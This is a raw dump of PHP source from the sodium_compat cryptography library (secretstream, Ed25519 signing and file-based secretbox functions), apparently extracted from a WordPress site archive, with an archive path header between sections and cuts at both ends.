SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk); } } home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php000064400000000126150550140360024066 0ustar00 ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes'); } } if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN'); } if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength); while ($size > 0) { $blockSize = $size > 64 ? 64 : $size; $read = fread($fp, $blockSize); if (!is_string($read)) { throw new SodiumException('Could not read input file'); } ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read); $size -= $blockSize; } fclose($fp); return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } /** * Encrypt a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $nonce Number to be used only once * @param string $key Encryption key * * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox( $inputFile, $outputFile, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); return $res; } /** * Seal a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_secretbox_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox_open( $inputFile, $outputFile, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($key); } catch (SodiumException $ex) { /** @psalm-suppress PossiblyUndefinedVariable */ unset($key); } return $res; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ public static function sign( $filePath, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ if (!is_string($filePath)) { throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($secretKey)) { throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.'); } /* Input validation: */ if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) { throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (PHP_INT_SIZE === 4) { return self::sign_core32($filePath, $secretKey); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $nonceHash */ $nonceHash = hash_final($hs, true); /** @var string $pk */ $pk = self::substr($secretKey, 32, 32); /** @var string $nonce */ $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); /** @var string $sig */ $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hramHash */ $hramHash = hash_final($hs, true); /** @var string $hram */ $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash); /** @var string $sigAfter */ $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws TypeError * @throws Exception */ public static function verify( $sig, $filePath, $publicKey ) { /* Type checks: */ if (!is_string($sig)) { throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.'); } if (!is_string($filePath)) { throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($publicKey)) { throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.'); } /* Input validation: */ if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) { throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes'); } if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if (PHP_INT_SIZE === 4) { return self::verify_core32($sig, $filePath, $publicKey); } /* Security checks */ if ( (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240) && ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32)) ) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * Encrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * @param ParagonIE_Sodium_Core_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify( ParagonIE_Sodium_Core_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); /** @var int 